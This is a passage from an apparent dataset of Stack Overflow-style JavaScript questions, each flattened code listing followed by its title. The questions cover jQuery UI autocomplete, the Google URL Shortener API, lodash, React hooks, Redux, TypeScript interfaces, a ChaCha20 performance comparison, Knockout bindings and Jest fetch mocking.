ui-widget-content ui-state-default ui-corner-left '' ) .autocomplete ( { delay : 0 , minLength : 3 , source : $ .proxy ( this , `` _source '' ) } ) .tooltip ( { tooltipClass : `` ui-state-highlight '' } ) ; this._on ( this.input , { autocompleteselect : function ( event , ui ) { ui.item.option.selected = true ; this._trigger ( `` select '' , event , { item : ui.item.option } ) ; } , autocompletechange : `` _removeIfInvalid '' } ) ; } , _createShowAllButton : function ( ) { var input = this.input , wasOpen = false ; $ ( `` < a > '' ) .attr ( `` tabIndex '' , -1 ) .attr ( `` title '' , `` Show All Items '' ) .tooltip ( ) .appendTo ( this.wrapper ) .button ( { icons : { primary : `` ui-icon-triangle-1-s '' } , text : false } ) .removeClass ( `` ui-corner-all '' ) .addClass ( `` custom-combobox-toggle ui-corner-right '' ) .mousedown ( function ( ) { wasOpen = input.autocomplete ( `` widget '' ) .is ( `` : visible '' ) ; } ) .click ( function ( ) { input.focus ( ) ; // Close if already visible if ( wasOpen ) { return ; } // Pass empty string as value to search for , displaying all results input.autocomplete ( `` search '' , `` '' ) ; } ) ; } , _source : function ( request , response ) { var autocompleteList = [ ] ; autocompleteList= [ 'test1 ' , 'test2 ' , 'test3 ' , 'test4 ' ] ; if ( autocompleteList.length > 0 ) { console.log ( autocompleteList ) ; for ( var j=0 ; j < autocompleteList.length ; j++ ) { return { label : autocompleteList [ j ] , value : autocompleteList [ j ] , option : this } } } } , _removeIfInvalid : function ( event , ui ) { // Selected an item , nothing to do if ( ui.item ) { return ; } // Search for a match ( case-insensitive ) var value = this.input.val ( ) , valueLowerCase = value.toLowerCase ( ) , valid = false ; this.element.children ( `` option '' ) .each ( function ( ) { if ( $ ( this ) .text ( ) .toLowerCase ( ) === valueLowerCase ) { this.selected = valid = true ; return false ; } } ) ; // Found a match , nothing to do if ( valid ) { return ; } // Remove invalid value this.input .val ( `` '' ) .attr ( `` title '' , value + `` did n't match any item '' ) .tooltip ( `` open '' ) ; this.element.val ( `` '' ) ; this._delay ( function ( ) { this.input.tooltip ( `` close '' ) .attr ( `` title '' , `` '' ) ; } , 2500 ) ; this.input.data ( `` ui-autocomplete '' ) .term = `` '' ; } , _destroy : function ( ) { this.wrapper.remove ( ) ; this.element.show ( ) ; } } ) ; } ) ( jQuery ) ; $ ( function ( ) { $ ( `` # combobox '' ) .combobox ( { } ) ; // $ ( `` # combobox '' ) .closest ( `` .ui-widget '' ) .find ( `` input , button '' ) .prop ( `` disabled '' , true ) ; } ) ; < div class= '' ui-widget '' > < select id= '' combobox '' > < /select > < /div >",why dynamic values not populating in autocomplete combo box ? "JS : I 've been exploring google APIs lately and have been playing around with their URL shortening API . I am authenticating using oAuth and have that part down pat . I have managed to successfully use the get and list functions of the API but am having problems making the insert function work.Where in this case auth is simply an already authenticated google oauth client that gets passed in from another file.Curiously , when I try to call this function I get the following error : I have scanned through the rest of the response and have not found any additional info . This is strange to me because the other two functions work , I am using oAuth so there should be no problems with API key limiting , and both of the other two API methods work.My oAuth authentication scope : const { google } = require ( 'googleapis ' ) ; const urlshortener = google.urlshortener ( { version : 'v1 ' , auth : auth } ) ; async function insert ( lengthened ) { return await urlshortener.url.insert ( { requestBody : { longUrl : lengthened } , fields : 'id ' } ) ; } [ { domain : 'global ' , reason : 'forbidden ' , message : 'Forbidden ' } ] https : //www.googleapis.com/auth/urlshortener",Google URL Shortener API 403 forbidden "JS : Given an array of arrays , what would be the efficient way of identifying the duplicate item ? I 've been working on this with lodash as an accepted dependency , and I get how to just return the `` unique '' list using _.uniqWith and _.isEqual : With would give the `` unique '' version of the list : But rather than just reporting the unique elements , I need just the element that is duplicated , and ideally the index of the first occurrence.Is this actually covered in the lodash library by some combination of methods that I 'm missing ? Or am I just going to have to live with writing loops to compare elements.Probably just overtired on this , so fresh eyes on the problem would be welcome.Trying not to rewrite functions if there are library methods that suit , so I basically am stuck with : Returning just the duplicate or at least the comparison difference with the `` unique list '' .Basically identifying the `` index of '' an array within an array . Though I suppose that can be a filter reduction with _.isEqual once the duplicate item is identified.Trying also to avoid creating an object Hash/Map and counting the occurrences of keys here as well , or at least not as a separate object , and as something that can be done functionally `` in-line '' . var array = [ [ 11.31866455078125 , 44.53836644772605 ] , [ // < -- Here 's the duplicate 11.31866455078125 , 44.53836644772605 ] , [ 11.371536254882812 , 44.53836644772605 ] , [ 11.371536254882812 , 44.50140292110874 ] ] _.uniqWith ( array , _.isEqual ) [ [ 11.31866455078125 , 44.53836644772605 ] , [ 11.371536254882812 , 44.53836644772605 ] , [ 11.371536254882812 , 44.50140292110874 ] ]",Find Duplicate Array within Array "JS : So I thought I was getting the hang of these hooks , but the lint rule react-hooks/exhaustive-deps is tripping me up.I have this method inside my ProviderI 'm allowing the rest of my app to access this by passing it into the value prop ... And then I 'm calling this method from a child component when the route changesThe above code works exactly how I want , and I ca n't see this causing any bugs . However eslint is telling me : React Hook useCallback has a missing dependency : 'screenState ' . Either include it or remove the dependency arrayWhen I add screenState into the array , it causes an infinite loop as soon as the onScreenChange method is called . It 's pretty obvious why the loop is now happening , but how do I stop this and `` follow the rules '' ? Thanks in advance for any help ! const onScreenChange = useCallback ( ( key , value ) = > { const newState = Object.assign ( { } , screenState , { [ key ] : value } ) ; localStorage.setItem ( 'screens ' , JSON.stringify ( newState ) ) ; setScreenState ( newState ) ; } , [ ] ) ; // screenState return < Provider value= { { onScreenChange , ... } } > children < /Provider > useEffect ( ( ) = > { if ( match.path === ` / $ { screenKey } ` ) { onScreenChange ( screenKey , 'external ' ) ; } } , [ onScreenChange , match.path , screenKey ] ) ;",Adding exhaustive dependencies into useEffect and useCallback causes infinite loop "JS : What is the consensus on an action affecting multiple parts of the state tree in Redux ? For example : I 'm seeking advice on : Actions affecting multiple parts of the redux store/state const ADD_POST = 'POST/ADD ' ; function postsReducer ( state = initialState , action = { } ) { // switch ... case ADD_POST : return { ... state , ... action.result.post } } function anotherReducer ( state = initialState , action = { } ) { // switch ... case ADD_POST : return { ... state , post_id : action.result.post.id } }",Can a Redux action affect multiple parts of the state tree ? "JS : For some reason , this does n't work at all . { { user_slugged username } } The { { username } } is a variable available to the template . However , it gives me a null / undefined value in the helper.Here is my helper code The issue I am having is when I try something like this { { user_slugged 'Hello ' } } it does everything right and returns what is expected.However , when I try { { user_slugged username } } it does n't seem to work even though I can easily display { { username } } in that same line of code.Which seems really odd , now I 'm thinking the way to send parameters to handlebars helpers might have changed in Meteor 0.8.0 . If so , it 'd be great if someone could point me into the right direction or give me an answer to this question.EDIT : To clarify I am able to use { { username } } in the same line as { { user_slugged username } } so something like this works < a href= '' { { user_slugged username } } '' > { { username } } < /a > username is an object property that is available in the template and at the point where I am trying to send it in as a param to the helper . UI.registerHelper ( 'user_slugged ' , function ( username ) { ... other stuff ... return things . }",Why does Meteor template helper not return variable in context ? JS : I just ca n't see what am I doing wrong ... It does n't calculate the `` stunden '' field . There is some small mistake from my side and I just ca n't see it.EDITED : now all is working as it should $ ( document ) .ready ( function ( ) { $ ( '.item ' ) .keyup ( function ( ) { var starts = 0 ; var ends = 0 ; var stunden = 0 ; if ( ! isNaN ( $ ( this ) .find ( `` .starts '' ) .val ( ) ) ) { starts = $ ( this ) .find ( `` .starts '' ) .val ( ) ; } if ( ! isNaN ( $ ( this ) .find ( `` .ends '' ) .val ( ) ) ) { ends = $ ( this ) .find ( `` .ends '' ) .val ( ) ; } stunden = ends - starts ; $ ( this ) .find ( `` .stunden '' ) .val ( stunden ) ; } ) ; } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' container '' > < table id= '' t1 '' class= '' table table-hover '' > < tr > < th class= '' text-center '' > Start Time < /th > < th class= '' text-center '' > End Time < /th > < th class= '' text-center '' > Stunden < /th > < /tr > < tr id= '' row1 '' class= '' item '' > < td > < input name= '' starts [ ] '' class= '' starts form-control '' > < /td > < td > < input name= '' ends [ ] '' class= '' ends form-control '' > < /td > < td > < input name= '' stunden [ ] '' class= '' stunden form-control '' readonly= '' readonly '' > < /td > < /tr > < tr id= '' row2 '' class= '' item '' > < td > < input name= '' starts [ ] '' class= '' starts form-control '' > < /td > < td > < input name= '' ends [ ] '' class= '' ends form-control '' > < /td > < td > < input name= '' stunden [ ] '' class= '' stunden form-control '' readonly= '' readonly '' > < /td > < /tr > < /table > < /div >,JavaScript calculated field "JS : I have recently stumbled upon this weird ( imo ) behavior in TypeScript.During compilation it will complain about excess properties only if the expected variable 's type is an interface if the interface has no mandatory fields . Link to TypeScript Playground # 1 : http : //goo.gl/rnsLjdNow , if you add a 'mandatory ' field to the IAnimal interface and implement it in the Animal class it will start complaining about 'bar ' being an excess property for bot interfaces and classes . Link to TypeScript Playground # 2 : http : //goo.gl/9wEKvpIf anyone has some insights as to why that works as it does please do.I am very curious as to why that is . interface IAnimal { name ? : string ; } class Animal implements IAnimal { } var x : IAnimal = { bar : true } ; // Object literal may only specify known properties , and 'bar ' does not exist in type 'IAnimal'var y : Animal = { bar : true } ; // Just fine.. why ? function foo < T > ( t : T ) { } foo < IAnimal > ( { bar : true } ) ; // Object literal may only specify known properties , and 'bar ' does not exist in type 'IAnimal'foo < Animal > ( { bar : true } ) ; // Just fine.. why ? interface IAnimal { name ? : string ; mandatory : number ; } class Animal implements IAnimal { mandatory : number ; } var x : IAnimal = { mandatory : 0 , bar : true } ; // Object literal may only specify known properties , and 'bar ' does not exist in type 'IAnimal'var y : Animal = { mandatory : 0 , bar : true } ; // Not fine anymore.. why ? Object literal may only specify known properties , and 'bar ' does not exist in type 'Animal'function foo < T > ( t : T ) { } foo < IAnimal > ( { mandatory : 0 , bar : true } ) ; // Object literal may only specify known properties , and 'bar ' does not exist in type 'IAnimal'foo < Animal > ( { mandatory : 0 , bar : true } ) ; // Not fine anymore.. why ? Object literal may only specify known properties , and 'bar ' does not exist in type 'Animal '",Difference in how TypeScript handles excess properties in interfaces and classes "JS : I was doing this test case to see how much using the this selector speeds up a process . While doing it , I decided to try out pre-saved element variables as well , assuming they would be even faster . Using an element variable saved before the test appears to be the slowest , quite to my confusion . I though only having to `` find '' the element once would immensely speed up the process . Why is this not the case ? Here are my tests from fastest to slowest , in case anyone ca n't load it:1234I 'd have assumed the order would go 4 , 3 , 1 , 2 in order of which one has to use the selector to `` find '' the variable more often.UPDATE : I have a theory , though I 'd like someone to verify this if possible . I 'm guessing that on click , it has to reference the variable , instead of just the element , which slows it down . $ ( `` # bar '' ) .click ( function ( ) { $ ( this ) .width ( $ ( this ) .width ( ) +100 ) ; } ) ; $ ( `` # bar '' ) .trigger ( `` click '' ) ; $ ( `` # bar '' ) .click ( function ( ) { $ ( `` # bar '' ) .width ( $ ( `` # bar '' ) .width ( ) +100 ) ; } ) ; $ ( `` # bar '' ) .trigger ( `` click '' ) ; var bar = $ ( `` # bar '' ) ; bar.click ( function ( ) { bar.width ( bar.width ( ) +100 ) ; } ) ; bar.trigger ( `` click '' ) ; par.click ( function ( ) { par.width ( par.width ( ) +100 ) ; } ) ; par.trigger ( `` click '' ) ;",Why is `` this '' more effective than a saved selector ? "JS : I have data like this : I want this data converted like this : I will try this : But why is the result empty ? var array = [ `` a '' , `` b '' , `` c '' , `` d '' , `` e '' ] ; < ol > < li > a < /li > < ol > < li > b < /li > < ol > < li > c < /li > < ol > < li > d < /li > < /ol > < /ol > < /ol > var makeNestedList = ( ) = > { $ .each ( array , function ( i , el ) { nested += ' < ol > ' ; nested += ' < li > ' + el + ' < /li > ' ; makeNestedList ( ) ; nested += ' < /ol > ' ; } ) ; } ;",How to make a nested ordered list from array data JS : My code is here $ .jqURL.url ( ) return current page url . But this code do n't workIs it possible to select dynamically ? $ ( `` a [ href= $ .jqURL.url ( ) ] '' ) .hide ( ) ;,jquery attribute selector problem : Dynamic attribute selector "JS : I 'm getting started with Javascript and trying to understand some fundamentals . The questions is not specifically about File interface , but it is what I 'm trying to figure out.In my HTML file I have a file type input.Then in my JS file I have : This works fine and filevar is of type File.Now I 'm trying to understand how files attribute works.In W3 the API is defined as : I 'm trying to figure out how I can access the individual File 's in FileList by using files.It does n't seem to be defined anywhere . Where is the array files coming from ? < input type= '' file '' id= '' fileInput '' multiple/ > var fileVar = document.getElementById ( 'fileInput ' ) .files [ 0 ] ; interface FileList { getter File ? item ( unsigned long index ) ; readonly attribute unsigned long length ; } ;",Javascript : Understanding File interface "JS : I 'd like to define an interface that allows you to supply content OR content_object but not both . You have to define one or the other . What is the simplest way to achieve this in TypeScript ? I know I could say that content is string | object , but the rest of my code benefits if I can define it as described instead . interface IModal { content ? : string ; content_object ? : object ; }",Typescript Interface : Exactly one optional parameter is required JS : My model contains some data that does not passes the form 's validation ( say an invalid email address that comes from the server ) . I still want to show this invalid model data to the user so they get a chance to fix it . Minimal example : How do I get the input to show the initial invalid model value ? JS Fiddle : http : //jsfiddle.net/TwzXV/4/ < form ng-init= '' email='foo ' '' > < input type= '' email '' ng-model= '' email '' > < /input > < /form >,Prepopulate AngularJS form with invalid data "JS : I am testing my React-Redux app with Jest and as part of this in my API calls I am importing a fetch module cross-fetch . I want to override or replace this with fetch-mock . Here is my file structure : Action.jsAction.test.jsObviously at this point I have n't set up the test . Because cross-fetch is imported closer to the function it uses it 's implementation of fetch , causing it to do the actual call instead of my mock . Whats the best way of getting the fetch to be mocked ( apart from removing the import fetch from 'cross-fetch ' line ) ? Is there a way to do a conditional import depending on whether the node script called is test or build ? Or set the mocked fetch to take priority ? import fetch from 'cross-fetch ' ; export const apiCall = ( ) = > { return fetch ( 'http : //url ' ) ; import fetchMock from 'fetch-mock ' ; import { apiCall } from './Action ' ; fetchMock.get ( '* ' , { hello : 'world ' } ) ; describe ( 'actions ' , ( ) = > { apiCall ( ) .then ( response = > { console.log ( response ) } ) } )",Replace specific module in testing "JS : With HTML5 , the following markup is just enough to get the browser handle input validation for one . It will verify the input is matching an email address format as well as that it is actually provided : There is no need to hook on events , neither for the input box nor for the submit button , just fine.I am looking for a way to decide whether browser already support this functionality or I should handle input validation myself.I wonder if there is a way to get this straight forward , or shall I maintain a table of all possible brands-versions combinations and the supported flag . < input id= '' email '' name= '' email '' type= '' email '' placeholder= '' Email address '' required/ >",What is the easiest way to determine whether ` < input type= '' email '' .. ` ( for instance ) is supported in current browser ? "JS : Throwing error to upper level in an async functionThisVS thisI mean at the end on the upper level I must catch the error anyway and there is no modifications at all on the catchAre these two approaches identical ? Can I use the second approach without error handling issues ? async create ( body : NewDevice , firstTry = true ) : Promise < RepresentationalDevice > { try { return await this.dataAccess.getAccessToken ( ) } catch ( error ) { throw error } } async create ( body : NewDevice , firstTry = true ) : Promise < RepresentationalDevice > { return await this.dataAccess.getAccessToken ( ) }",Re-throwing exception on catch to upper level on async function "JS : I have an Angular application . Below are the steps to follow : A customer goes through a flow and lands into one of the partial pages.From one of the partial page , I click a button to get an ID from a cross domain ( done via service call , thus no CORS issue ) .Using this ID , I append on the cross domain url -- something like http : //externalpahe.com ? responseId=IDThis url is executed a child component , inside an Iframe.In this Iframe cross domain 's page , there are two button - 'Save ' and 'Cancel'On Click of any of these buttons , the application is navigated back.ISSUE : After successful back navigation , on click of Chrome browser 's back button , the application reloads.Due to this , the flow of the application restarts again and the customer is required to go through the flow again . Though the data gets updated , on arriving back to the partial page , where the action has been performed previously , but it is not a good ease-of-use scenario.I am making use of the below code to execute the cross domain 's url in an iframe . I doubt that the DomSanitizer is causing the weird issue for Chrome . For others browsers ' , it works fine.Angular Component : Angular Template : In onPageLoad ( ) I am doing simple business logic of emitting the response back to the parent component.Is there a way to handle the issue ? Or can the cross domain be executed on Iframe in a different way ? constructor ( private sanitizer : DomSanitizer ) { } ngOnInit ( ) { this.targetUrl = this.sanitizer.bypassSecurityTrustResourceUrl ( this.sourceUrl ) ; } < iframe # crossDomainIframe [ src ] = '' targetUrl '' ( load ) = '' onPageLoad ( ) '' > < /iframe > onPageLoad ( ) { this.callbackResponse.emit ( returnUrl ) ; }",Chrome Back button issue after interaction with Iframe Angular "JS : I am trying to transfer data from native iOS app to a React ( not react-native ) web app running in a UIWebView.I get a string from native viewcontroller and need to `` inject '' it into the value of an < input > element inside a React component class . I gave the element an id like so : Then using JavaScriptCore from iOS ( Swift code ) I run : This seems work fine and I can see the value updated in the DOM inside the webview , problem is that my React onChange function ( that validates the value and changes component state ) does not fire as React does not interpret this as a change ( probably because of DOM vs virtual DOM handling ) .What 's the correct way/best practice to update the element value from iOS AND get the React component to behave like user has typed it in ? render ( ) { < div > ... < input id= '' iccid '' type= '' text '' name= '' iccid '' pattern= '' \d* '' onChange= { this.iccidChanged.bind ( this ) } autoFocus / > ... < /div > } self.context = self.webView.valueForKeyPath ( `` documentView.webView.mainFrame.javaScriptContext '' ) as ? JSContextself.context ! .evaluateScript ( `` document.getElementById ( 'iccid ' ) .value='\ ( barcodeValue ) ' ; '' )",Update value of an element in React component from iOS UIWebView "JS : I 'm writing an app that lets a user specify a regular expression . Of course , users make mistakes , so I need a way to handle regular expressions that are unparseable , and give the user some actionable advice on how to fix the problem.The problem I 'm having is that the exceptions thrown by new RegExp ( `` something awful '' ) are not helpful for regex n00bs , and have different messages per browser . For example : Given : Firefox throws `` unterminated parenthetical '' . Safari throws `` missing ) '' Chrome throws `` Unterminated group '' And it would n't surprise me if those message strings are user-language-localized , or that they 've drifted over time , making this a crazy knot to untie with exception.message . My goal is to catch the exception , figure out what it 's really about , and put up a much more beginner-friendly message . ( And eventually highlighting the unmatched paren , in this example . ) Is there some other exception identifier I should be using ? Is there a better way to tell these apart ? Failing all of that , has anyone just collected what all these strings are across the several most popular browsers ? try { new RegExp ( `` ( pie '' ) ; } catch ( e ) { console.log ( e.message ) ; }",Telling apart Regular Expression parse exceptions in JavaScript "JS : I have some html.And some Javascript.The response is.Why ? Should n't it be anchor ? UPDATEDWill this do the trick ? < a href= '' # '' > < i class= '' some-bg '' / > Some Text < /a > $ ( `` a '' ) .bind ( `` touchstart '' , function ( e ) { e.preventDefault ( ) ; console.log ( `` Tag : `` + e.target ) ; console.log ( `` Tag Name : `` + e.target.tagName ) ; } ) ; Tag : [ object HTMLElement ] Tag Name : I $ ( `` a , a * '' ) .bind ( function ( ) { e.stopPropagation ( ) ; // other stuff } ) ;",HTML Anchor Tag With Italic Tag "JS : When I was implementing ChaCha20 in JavaScript , I stumbled upon some strange behavior.My first version was build like this ( let 's call it `` Encapsulated Version '' ) : To reduce unnecessary function calls ( with parameter overhead etc . ) I removed the quarterRound-function and put it 's contents inline ( it 's correct ; I verified it against some test vectors ) : But the performance result was not quite as expected : vs.While the performance difference under Firefox and Safari is neglectible or not important the performance cut under Chrome is HUGE ... Any ideas why this happens ? P.S . : If the images are to small , open them in a new tab : ) PP.S . : Here are the links : InlinedEncapsulated function quarterRound ( x , a , b , c , d ) { x [ a ] += x [ b ] ; x [ d ] = ( ( x [ d ] ^ x [ a ] ) < < 16 ) | ( ( x [ d ] ^ x [ a ] ) > > > 16 ) ; x [ c ] += x [ d ] ; x [ b ] = ( ( x [ b ] ^ x [ c ] ) < < 12 ) | ( ( x [ b ] ^ x [ c ] ) > > > 20 ) ; x [ a ] += x [ b ] ; x [ d ] = ( ( x [ d ] ^ x [ a ] ) < < 8 ) | ( ( x [ d ] ^ x [ a ] ) > > > 24 ) ; x [ c ] += x [ d ] ; x [ b ] = ( ( x [ b ] ^ x [ c ] ) < < 7 ) | ( ( x [ b ] ^ x [ c ] ) > > > 25 ) ; } function getBlock ( buffer ) { var x = new Uint32Array ( 16 ) ; for ( var i = 16 ; i -- ; ) x [ i ] = input [ i ] ; for ( var i = 20 ; i > 0 ; i -= 2 ) { quarterRound ( x , 0 , 4 , 8,12 ) ; quarterRound ( x , 1 , 5 , 9,13 ) ; quarterRound ( x , 2 , 6,10,14 ) ; quarterRound ( x , 3 , 7,11,15 ) ; quarterRound ( x , 0 , 5,10,15 ) ; quarterRound ( x , 1 , 6,11,12 ) ; quarterRound ( x , 2 , 7 , 8,13 ) ; quarterRound ( x , 3 , 4 , 9,14 ) ; } for ( i = 16 ; i -- ; ) x [ i ] += input [ i ] ; for ( i = 16 ; i -- ; ) U32TO8_LE ( buffer , 4 * i , x [ i ] ) ; input [ 12 ] ++ ; return buffer ; } function getBlock ( buffer ) { var x = new Uint32Array ( 16 ) ; for ( var i = 16 ; i -- ; ) x [ i ] = input [ i ] ; for ( var i = 20 ; i > 0 ; i -= 2 ) { x [ 0 ] += x [ 4 ] ; x [ 12 ] = ( ( x [ 12 ] ^ x [ 0 ] ) < < 16 ) | ( ( x [ 12 ] ^ x [ 0 ] ) > > > 16 ) ; x [ 8 ] += x [ 12 ] ; x [ 4 ] = ( ( x [ 4 ] ^ x [ 8 ] ) < < 12 ) | ( ( x [ 4 ] ^ x [ 8 ] ) > > > 20 ) ; x [ 0 ] += x [ 4 ] ; x [ 12 ] = ( ( x [ 12 ] ^ x [ 0 ] ) < < 8 ) | ( ( x [ 12 ] ^ x [ 0 ] ) > > > 24 ) ; x [ 8 ] += x [ 12 ] ; x [ 4 ] = ( ( x [ 4 ] ^ x [ 8 ] ) < < 7 ) | ( ( x [ 4 ] ^ x [ 8 ] ) > > > 25 ) ; x [ 1 ] += x [ 5 ] ; x [ 13 ] = ( ( x [ 13 ] ^ x [ 1 ] ) < < 16 ) | ( ( x [ 13 ] ^ x [ 1 ] ) > > > 16 ) ; x [ 9 ] += x [ 13 ] ; x [ 5 ] = ( ( x [ 5 ] ^ x [ 9 ] ) < < 12 ) | ( ( x [ 5 ] ^ x [ 9 ] ) > > > 20 ) ; x [ 1 ] += x [ 5 ] ; x [ 13 ] = ( ( x [ 13 ] ^ x [ 1 ] ) < < 8 ) | ( ( x [ 13 ] ^ x [ 1 ] ) > > > 24 ) ; x [ 9 ] += x [ 13 ] ; x [ 5 ] = ( ( x [ 5 ] ^ x [ 9 ] ) < < 7 ) | ( ( x [ 5 ] ^ x [ 9 ] ) > > > 25 ) ; x [ 2 ] += x [ 6 ] ; x [ 14 ] = ( ( x [ 14 ] ^ x [ 2 ] ) < < 16 ) | ( ( x [ 14 ] ^ x [ 2 ] ) > > > 16 ) ; x [ 10 ] += x [ 14 ] ; x [ 6 ] = ( ( x [ 6 ] ^ x [ 10 ] ) < < 12 ) | ( ( x [ 6 ] ^ x [ 10 ] ) > > > 20 ) ; x [ 2 ] += x [ 6 ] ; x [ 14 ] = ( ( x [ 14 ] ^ x [ 2 ] ) < < 8 ) | ( ( x [ 14 ] ^ x [ 2 ] ) > > > 24 ) ; x [ 10 ] += x [ 14 ] ; x [ 6 ] = ( ( x [ 6 ] ^ x [ 10 ] ) < < 7 ) | ( ( x [ 6 ] ^ x [ 10 ] ) > > > 25 ) ; x [ 3 ] += x [ 7 ] ; x [ 15 ] = ( ( x [ 15 ] ^ x [ 3 ] ) < < 16 ) | ( ( x [ 15 ] ^ x [ 3 ] ) > > > 16 ) ; x [ 11 ] += x [ 15 ] ; x [ 7 ] = ( ( x [ 7 ] ^ x [ 11 ] ) < < 12 ) | ( ( x [ 7 ] ^ x [ 11 ] ) > > > 20 ) ; x [ 3 ] += x [ 7 ] ; x [ 15 ] = ( ( x [ 15 ] ^ x [ 3 ] ) < < 8 ) | ( ( x [ 15 ] ^ x [ 3 ] ) > > > 24 ) ; x [ 11 ] += x [ 15 ] ; x [ 7 ] = ( ( x [ 7 ] ^ x [ 11 ] ) < < 7 ) | ( ( x [ 7 ] ^ x [ 11 ] ) > > > 25 ) ; x [ 0 ] += x [ 5 ] ; x [ 15 ] = ( ( x [ 15 ] ^ x [ 0 ] ) < < 16 ) | ( ( x [ 15 ] ^ x [ 0 ] ) > > > 16 ) ; x [ 10 ] += x [ 15 ] ; x [ 5 ] = ( ( x [ 5 ] ^ x [ 10 ] ) < < 12 ) | ( ( x [ 5 ] ^ x [ 10 ] ) > > > 20 ) ; x [ 0 ] += x [ 5 ] ; x [ 15 ] = ( ( x [ 15 ] ^ x [ 0 ] ) < < 8 ) | ( ( x [ 15 ] ^ x [ 0 ] ) > > > 24 ) ; x [ 10 ] += x [ 15 ] ; x [ 5 ] = ( ( x [ 5 ] ^ x [ 10 ] ) < < 7 ) | ( ( x [ 5 ] ^ x [ 10 ] ) > > > 25 ) ; x [ 1 ] += x [ 6 ] ; x [ 12 ] = ( ( x [ 12 ] ^ x [ 1 ] ) < < 16 ) | ( ( x [ 12 ] ^ x [ 1 ] ) > > > 16 ) ; x [ 11 ] += x [ 12 ] ; x [ 6 ] = ( ( x [ 6 ] ^ x [ 11 ] ) < < 12 ) | ( ( x [ 6 ] ^ x [ 11 ] ) > > > 20 ) ; x [ 1 ] += x [ 6 ] ; x [ 12 ] = ( ( x [ 12 ] ^ x [ 1 ] ) < < 8 ) | ( ( x [ 12 ] ^ x [ 1 ] ) > > > 24 ) ; x [ 11 ] += x [ 12 ] ; x [ 6 ] = ( ( x [ 6 ] ^ x [ 11 ] ) < < 7 ) | ( ( x [ 6 ] ^ x [ 11 ] ) > > > 25 ) ; x [ 2 ] += x [ 7 ] ; x [ 13 ] = ( ( x [ 13 ] ^ x [ 2 ] ) < < 16 ) | ( ( x [ 13 ] ^ x [ 2 ] ) > > > 16 ) ; x [ 8 ] += x [ 13 ] ; x [ 7 ] = ( ( x [ 7 ] ^ x [ 8 ] ) < < 12 ) | ( ( x [ 7 ] ^ x [ 8 ] ) > > > 20 ) ; x [ 2 ] += x [ 7 ] ; x [ 13 ] = ( ( x [ 13 ] ^ x [ 2 ] ) < < 8 ) | ( ( x [ 13 ] ^ x [ 2 ] ) > > > 24 ) ; x [ 8 ] += x [ 13 ] ; x [ 7 ] = ( ( x [ 7 ] ^ x [ 8 ] ) < < 7 ) | ( ( x [ 7 ] ^ x [ 8 ] ) > > > 25 ) ; x [ 3 ] += x [ 4 ] ; x [ 14 ] = ( ( x [ 14 ] ^ x [ 3 ] ) < < 16 ) | ( ( x [ 14 ] ^ x [ 3 ] ) > > > 16 ) ; x [ 9 ] += x [ 14 ] ; x [ 4 ] = ( ( x [ 4 ] ^ x [ 9 ] ) < < 12 ) | ( ( x [ 4 ] ^ x [ 9 ] ) > > > 20 ) ; x [ 3 ] += x [ 4 ] ; x [ 14 ] = ( ( x [ 14 ] ^ x [ 3 ] ) < < 8 ) | ( ( x [ 14 ] ^ x [ 3 ] ) > > > 24 ) ; x [ 9 ] += x [ 14 ] ; x [ 4 ] = ( ( x [ 4 ] ^ x [ 9 ] ) < < 7 ) | ( ( x [ 4 ] ^ x [ 9 ] ) > > > 25 ) ; } for ( i = 16 ; i -- ; ) x [ i ] += input [ i ] ; for ( i = 16 ; i -- ; ) U32TO8_LE ( buffer , 4 * i , x [ i ] ) ; input [ 12 ] ++ ; return buffer ; }",Strange JavaScript performance "JS : If I run this : I get an error : Uncaught SyntaxError : Unexpected token : Let 's create the object manually : Now , the following code : Returns the following string : ' { `` ear '' : { `` < = '' :6 } } 'The same string as the one I started with ( except the white characters , but those are irrelevant ) , so eval ( JSON.stringify ( foo ) ) returns the same syntax error error message . However : is executed correctly . What is the reason of that ? EDIT : As nnnnnn and Ron Dadon pointed out , the initial string and the result of stringify are different . However , as I pointed out in the question , even the result of stringify used as input for eval will result in the syntax error message.EDIT2 : Based on the answers and experiments conducted , this function is interesting : eval ( ' { ear : { `` < = '' : 6 } } ' ) ; var foo = { } ; foo.ear = { } ; foo.ear [ `` < = '' ] = 6 ; JSON.stringify ( foo ) $ .parseJSON ( JSON.stringify ( foo ) ) function evalJSON ( text ) { return eval ( `` ( `` + text + `` ) '' ) ; }","eval is evil , but is it flawed ?" "JS : I 've managed to get myself into a bit of trouble with a project I 'm working on . Originally the site has one page on it that uses Knockout , with the other pages using jQuery . Due to some problems with the Foundation modal placing itself in the root of the body element , I ended up applying the bindings for the viewmodel for this page to the body element.Fast forward 4 months , and without foreseeing the trouble I 'm in now , I went and rebuilt our shopping basket in Knockout . The shopping basket is visible on every page and is included using a ZF2 partial.Going back to the page I worked on 4 months ago , it is completely broken with the error message in console saying : Here 's some code to show my layout : JavaScript : If I had the time I could go back and rework the original application to sit within it 's own div container that would site side by side with the basket , but unfortunately this is n't an option.The other option is to discard the last bit of work I did on the shopping basket and replace it with jQuery , but this would mean losing a weeks worth of work.Is there anyway when I 'm applying the bindings that I could have both viewmodels working side by side , while being nested in the Dom , and remaining independent of each other ? Uncaught Error : You can not apply bindings multiple times to the same element . < html > < head > < title > My Website < /title > < /head > < body > // 4 month old SPA bound here < nav > < div id='shopping-basket ' > // Shopping basket bound here ... < /div > < /nav > < div id='my-app ' > ... < /div > < /body > < /html > var MyAppViewModel = function ( ) { // logic } ; var ShoppingBasketViewModel = function ( ) { //logic } ; ko.applyBindings ( new MyAppViewModel ( ) , document.body ) ; ko.applyBindings ( new ShoppingBasketViewModel ( ) , document.getElementById ( 'shopping-basket ' ) ;",Knockout multiple bindings on nested dom elements "JS : I got stumped by this weirdness.Let 's say I have this array : Could I apply the apply method of a function to invoke the function with the this object being { something : 'special ' } and the parameters being the rest of array ? In other words , could I do thisAnd expect the output to be the following ? I tried it.But why ? It seems like this should work . var array = [ { something : 'special ' } , 'and ' , ' a ' , 'bunch ' , 'of ' , 'parameters ' ] ; var tester = function ( ) { console.log ( 'this , ' , this ) ; console.log ( 'args , ' , arguments ) ; } ; tester.apply.apply ( tester , array ) ; > this , { `` something '' : `` special '' } > args , { `` 0 '' : `` and '' , `` 1 '' : `` a '' , `` 2 '' : `` bunch '' , `` 3 '' : `` of '' , `` 4 '' : `` parameters '' } TypeError : Function.prototype.apply : Arguments list has wrong type",Javascript Function : Applying Apply "JS : I am trying to create a form so a user can save a setting which has their default teams ( multiple ) and their professions ( single ) . I can do this using simple_form and the lines of code below , but I am trying to use autocomplete as the dropdown lists do not work well with my design. < % = f.association : profession % > < % = 